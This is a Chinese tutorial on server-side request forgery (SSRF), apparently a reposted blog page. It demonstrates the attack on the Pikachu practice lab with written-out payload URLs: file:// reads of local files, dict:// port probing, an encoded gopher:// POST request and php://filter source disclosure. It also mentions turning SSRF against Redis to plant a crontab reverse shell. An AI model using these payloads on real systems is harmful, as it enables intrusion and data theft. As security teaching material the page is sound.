SSRF攻擊技術

1、SSRF形成原因

? ? ? ?SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF是要目標網站的內部系統。(因為他是從內部系統訪問的,所有可以通過它攻擊外網無法訪問的內部系統,也就是把目標網站當中間人)

2、SSRF漏洞可利用的用途

  • 可以對外網服務器所在內網、本地進行端口掃描,獲取一些服務的banner信息

  • 攻擊運行在內網或本地的應用程序(比如溢出)

  • 對內網web應用進行指紋識別,通過訪問默認文件實現

  • 攻擊內外網的web應用,主要是使用get參數就可以實現的攻擊(比如struts2,sqli等

  • 利用file協議讀取本地文件等

SSRF攻擊結果由涵數本身來決定,涵數功能越強大,攻擊成功的機會就越高,如:curl_init、file_get_contents、fsockopen

3、如何挖掘ssrf漏洞?

  • 分享:通過URL地址分享網頁內容

  • 轉碼服務

  • 在線翻譯

  • 圖片加載與下載:通過URL地址加載或下載圖片

  • 圖片、文章收藏功能

  • 未公開的api實現以及其他調用URL的功能

  • 從URL關鍵字中尋找:

    • share

    • wap

    • url

    • link

    • src

    • source

    • target

    • u

    • 3g

    • display

    • sourceURl

    • imageURL

    • domain

    • ...

?phpstudy選擇5.4.45版本:

打開pikachu靶場環境:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php

curl? 函數

curl支持很多協議,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP

查看源代碼:

?//接收前端URL沒問題,但是要做好過濾,如果不做過濾,就會導致SSRF
? ? $URL = $_GET['url'];
? ? $CH = curl_init($URL);

使用了url參數,未經過濾給了curl_init函數
?

https協議的運用?

?通過添加URL參數url的值指向第三方百度網頁:(因支持https協議)

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

?說明:

IP地址和端口:

  • 10.0.0.101: 這是一個本地或私有網絡IP地址。
  • :90: 這是服務器上運行的應用程序的端口號。

路徑和文件

/pikachu/vul/ssrf/ssrf_curl.php: 這是服務器上的文件路徑。

URL參數

?url=https://www.baidu.com: 這個URL參數url的值指向了百度的公共網站。在正常情況下,如果ssrf_curl.php使用這個參數來發起HTTP請求,它會訪問百度。但在存在SSRF漏洞的情況下,攻擊者可能會利用這個參數構造惡意請求,指向內部網絡資源,從而獲取未授權的數據。

?http協議的運用

也可以通過ssrf攻擊訪問內網其他主機:(http協議)

如:訪問內網win10主機的根目錄所有網站信息:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=http://10.0.0.103:99

內網win2003主機 ?http://10.0.0.101:90/
內網win10主機? ?http://10.0.0.103:99/?

?成功顯示網站信息:


file協議的運用

通過file讀取文件信息:

如讀取目標主機c盤下2024.txt文件內容

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/2024.txt

成功讀取2024.txt文件內容?


dict協議的運用

?通過dict探測端口:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:99

?輸入不存在的端口號,網頁不顯示內容:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:8080

可通過抓包工具設置端口變量跑端口?


?gopher協議的運用

簡要介紹:gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher發送各種格式的請求包,這樣變可以解決漏洞點不在GET參數的問題了。?

進行如下請求可以發送一個POST請求,且參數cmd的值為balabal,這里構造gopher請求的時候,回車換行符號要進行2次url編碼%250d%250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

此時可以在192.168.0.105主機中的access.log,找到訪問日志。

當然也可以使用網絡數據包分析工具,抓取TCP流量中HTTP的數據,這里我使用的是 burp。

?bp請求包內容等同于:

POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

由于gopher可以構造各種HTTP請求包,所以gopher在SSRF漏洞利用中充當萬金油的角色


file_get_contents()?函數

file_get_contents()?函數在PHP中支持多種協議,不僅可以用于讀取本地文件,還可以用于獲取遠程資源。以下是它支持的一些常見協議:

  1. file:用于讀取本地文件系統中的文件,例如?file:///path/to/file.txt
  2. http:用于從HTTP服務器獲取內容,如?http://www.example.com/page.html
  3. https:用于從HTTPS服務器安全地獲取內容,如?https://www.example.com/secure_page.php
  4. ftp:用于從FTP服務器下載文件,需要服務器支持被動模式(FTP_PASV)以繞過一些防火墻限制。
  5. ftps:用于通過FTP的SSL/TLS加密層安全地下載文件。
  6. data:用于處理data:URI,這種URI可以直接在HTTP請求中包含小量數據,例如圖片或文本。
  7. phar:用于讀取PHP的Phar歸檔文件。
  8. compress.zlib?和?compress.bzip2:用于解壓縮通過zlib或bzip2壓縮的文件。
  9. env:用于獲取環境變量的值。

?打開pikachu靶場環境--點擊ssrf--file_get_contents():

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.phpfile_get_contents
?http協議應用

訪問百度

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com

?讀取當前目錄下ssrf.php源代碼(并進行base64編碼):

?file=php://filter/read=convert.base64-encode/resource=ssrf.php

當前目錄下的ssrf.php

添加 ../ 可以訪問上級目錄的文件,如../lan.php

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

?讀取成功,

復制讀取到的源碼進行解碼:

PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=

?成功獲取到源代碼:


4、ssrf 怎么用 redis 寫 shell ?

(1)SSRF 服務端請求偽造

  • 一、對內網掃描,獲取 banner

  • 二、攻擊運行在內網的應用,主要是使用 GET 參數就可以實現的攻擊(比如 Struts2,sqli 等)

  • 三、利用協議讀取本地文件

  • 四、云計算環境 AWS Google Cloud 環境可以調用內網操作 ECS 的 API

(2)如 webligic SSRF 漏洞通過 SSRF 的 gopher 協議操作內網的 redis,利用 redis 將反彈 shell 寫入 crontab 定時任務,url 編碼,將\r 字符串替換成%0d%0a https://www.jianshu.com/p/42a3bb2b2c2c?


5、CSRF 和 XSS 和 XXE 有什么區別,以及修復方式?

  • XSS 是跨站腳本攻擊,用戶提交的數據中可以構造代碼來執行,從而實現竊取用戶信息等攻擊。修復方式:對字符實體進行轉義、使用 HTTP Only 來禁止 JavaScript 讀取 Cookie 值、輸入時校驗、輸出時采用 html 實體編碼。

  • CSRF 是跨站請求偽造攻擊,XSS 是實現 CSRF 的諸多手段中的一種,是由于沒有在關鍵操作執行時進行是否由用戶自愿發起的確認。修復方式:篩選出需要防范 CSRF 的頁面然后嵌入 Token、再次輸入密碼、檢驗 Referer

  • XXE 是 XML 外部實體注入攻擊,XML 中可以通過調用實體來請求本地或者遠程內容,和遠程文件保護類似,會引發相關安全問題,例如敏感文件讀取。修復方式:XML 解析庫在調用時嚴格禁止對外部實體的解析。

  • 重點:


?6、XXS與SSRF的區別?

SSRF屬于服務端攻擊,無需輸出就能攻擊,利用dnslog來實現攻擊的,結果值在dnslog日志體現; XSS屬于客戶端攻擊,必須有輸入和輸出,xss不需要登陸就可以實現腳本攻擊


?7、CSRF、SSRF 和重放攻擊有什么區別?

CSRF 是跨站請求偽造攻擊,由客戶端發起;是在建立會話的過程點擊;攻擊客戶端; SSRF 是服務器端請求偽造,由服務器發起;不需要建立會話過程,是攻擊內網 重放攻擊是將截獲的數據包進行重放,達到身份認證等目的


聲明:

  • 此文章只做技術研究,謹遵守國家相關法律法規,請勿用于違法用途,如果您對文章內容有疑問,可以嘗試留言私信,如有侵權請聯系小編處理。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/14092.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/14092.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/14092.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

思科模擬器--03.RIP協議路由--24.5.17

1.首先,先創建兩個個人電腦:PC0和PC1和三個路由器:R1,R2和R3. (訣竅:建議用文本框標注一下重要簡短的內容; 目的:降低失誤概率,提高成功率!) 第0步:(個人電腦的IP,子網掩碼和默認網關配置) 接著,可以先將個人電腦的IP和網關先配置一下…

ThreadLocal原理及使用

一、引言 在Java多線程編程中,ThreadLocal是一個非常有用的工具,它提供了一種將對象與線程關聯起來的機制,使得每個線程都可以擁有自己獨立的對象副本,從而避免了線程安全問題。然而,使用不當會導致內存泄漏問題。 二…

go 微服務框架kratos錯誤處理的使用方法及原理探究

通過go語言原生http中響應錯誤的實現方法,逐步了解和使用微服務框架 kratos 的錯誤處理方式,以及探究其實現原理。 一、go原生http響應錯誤信息的處理方法 處理方法: ①定義返回錯誤信息的結構體 ErrorResponse // 定義http返回錯誤信息的…

無人機飛手前途分析

無人機飛手的前途充滿了各種可能性和挑戰,這主要得益于無人機技術的快速發展和廣泛應用。以下是對無人機飛手前途的一些分析: 1. 技術發展與需求增長:隨著無人機技術的不斷進步,其應用場景也在持續擴大。從地理測繪、巡檢、農林植…

利用阿里OSS服務給文件設置過期刪除--簡單版

在云存儲廣泛應用的今天,阿里云的Object Storage Service(OSS)以其高度可擴展性、安全性和成本效益,成為了眾多企業和開發者存儲海量數據的首選方案。隨著數據量的不斷膨脹,高效的數據管理和成本控制變得尤為重要。其中…

IT學習筆記--Kafka

Kafka概述: 定義: Kafka是一個分布式的基于發布/訂閱模式的消息隊列,主要應用于大數據實時處理領域。 消息隊列消息隊列的兩種模式: 點對點模式: 消息生產者生產消息發送到Queue中,然后消息消費者從Queue中取出并且消費消息。 消息被消費以后&#…

Linux中解決普通用戶使用不了sudo問題

目錄 sudo的使用場景sudo使用不了的原因解決方法 sudo的使用場景 之前我們介紹了文件的權限問題 如果一個普通用戶想去執行一個它命令之外的權限,只能使用sudo 比如普通用戶使用yum去安裝軟件,需要sudo yum xxxx sudo使用不了的原因 這里我們用普通用戶…

小恐龍跳一跳源碼

小恐龍跳一跳源碼是前兩年就火爆過一次的小游戲源碼,不知怎么了今年有火爆了,所以今天就吧這個源碼分享出來了!有喜歡的直接下載就行,可以本地單機直接點擊index.html進行運行,又或者放在虛擬機或者服務器上與朋友進行…

python 獲取視頻的時長

以下是幾種獲取視頻時長的實現方法: 方法一:使用moviepy庫 from moviepy.editor import VideoFileClipdef get_video_duration(file_path):video VideoFileClip(file_path)duration video.durationvideo.close()return duration 方法二:…

SAP-FICO-憑證編號控制

成本憑證編號KANK 如果自己的公司下沒有,直接復制系統原有的就可以。使用系統默認即可。 如果不維護 會報錯“CO-憑證編號分配對于成本控制范圍****中的商業事務COIN無效” 財務憑證編號FBN1 可以用OBH2批量復制編號范圍。 物料賬期MMPV 財務賬期OB52

python使用base加密解密

原理 base編碼是一種加密解密措施,目前常用的有base16、base32和base64。其大致原理比較簡單。 以base64為例,base64加密后共有64中字符。其加密過程是編碼后將每3個字節作為一組,這樣每組就有3*824位。將每6位作為一個單位進行編碼&#xf…

1個逗號,提升Python代碼質量

有些時候,我們會在Python代碼中看到列表或其他科迭代對象的結尾會存在一個逗號: 而且編輯器和解釋器都容許這種逗號的存在,它就叫作拖尾逗號。 通常是為了在頻繁地增減數組元素的時候同時保證語法的正確,且拖尾逗號不占用數組的長…

MySQL 主備環境搭建 docker

MySQL 主備環境搭建 docker 拉取docker鏡像 sudo docker pull mysql:8.0 啟動容器 docker run -p 3339:3306 --name mysql-master -e MYSQL_ROOT_PASSWORD123456 -d mysql:8.0docker run -p 3340:3306 --name mysql-slave -e MYSQL_ROOT_PASSWORD123456 -d mysql:8.0配置 M…

第四十二天 | 背包問題理論

二維: 1.dp[i][j] 表示從下標為[0-i]的物品里任意取,放進容量為j的背包,價值總和最大是多少。 2.遞歸公式: dp[i][j] max(dp[i - 1][j], dp[i - 1][j - weight[i]] value[i]); 3.初始化: 首先從dp[i][j]的定義出發…

基于xilinx fpga RFSOC系列的Ultrascale+ RF Data Converter ip詳解說明

目錄 1 概述2 IP功能2.1 ADC性能2.2 DAC性能3 IP端口4 代碼框架4.1 ADC功能框圖4.2 DAC功能框圖5 收發數據時序5.1 ADC數據格式5.2 DAC數據格式6 時鐘配置6.1 ADC/DAC參考時鐘7 數據格式配置模式7.1 ADC的配置模式7.1.1 Real -> real;7.1.2 Real ->IQ;7.1.3 IQ -> IQ;…

【設計模式】JAVA Design Patterns——Bridge(橋接模式)

🔍目的 將抽象與其實現分離,以便二者可以獨立變化。 🔍解釋 真實世界例子 考慮一下你擁有一種具有不同附魔的武器,并且應該允許將具有不同附魔的不同武器混合使用。 你會怎么做? 為每個附魔創建每種武器的多個副本&…

當代人工智能三教父——深度學習三巨頭

文章目錄 引言 人物介紹 突出貢獻 專業名詞解釋 引言 今天下午閑來無事翻閱了一下csdn首頁的頭條文章——《27 歲天才創始人 Joel Hellermark 分享了自己和“AI 教父” Geoffery Hinton 的最新采訪》 感覺挺有意思,就從頭到尾的看了一遍,里面有很多…

pyqt5與yolov5進行視頻檢測(一)——登錄操作

項目效果展示 一、登錄界面 二、主界面 目前在更新中。。。 一、設計 二、登錄代碼 注意:下面會導入主界面的包,圖片資源自己設計一下,密碼保存時沒設計加密,需要自行設計 main_window主界面下文會設計from main_window impor…

無線通信的穿墻能力主要取決于哪些指標

無線通信的穿墻能力是指無線信號在穿越建筑物墻壁時,其信號衰減程度以及能否維持足夠強度以進行穩定通信的能力。穿墻能力的好壞直接影響到無線通信在室內環境中的覆蓋范圍和使用體驗。 一、無線信號的頻率 無線信號的頻率是影響穿墻能力的重要因素之一。一般來說…

工行音視頻服務平臺建設與應用經驗

近些年來,伴隨著技術能力的積累突破,音視頻服務開始蓬勃生長走進千家萬戶,使用遠程視頻通話、觀看各類視頻直播逐漸成為人們的日常,而金融服務作為社會生活的重要組成部分,自然需要積極擁抱應用新技術。 如今&#xff…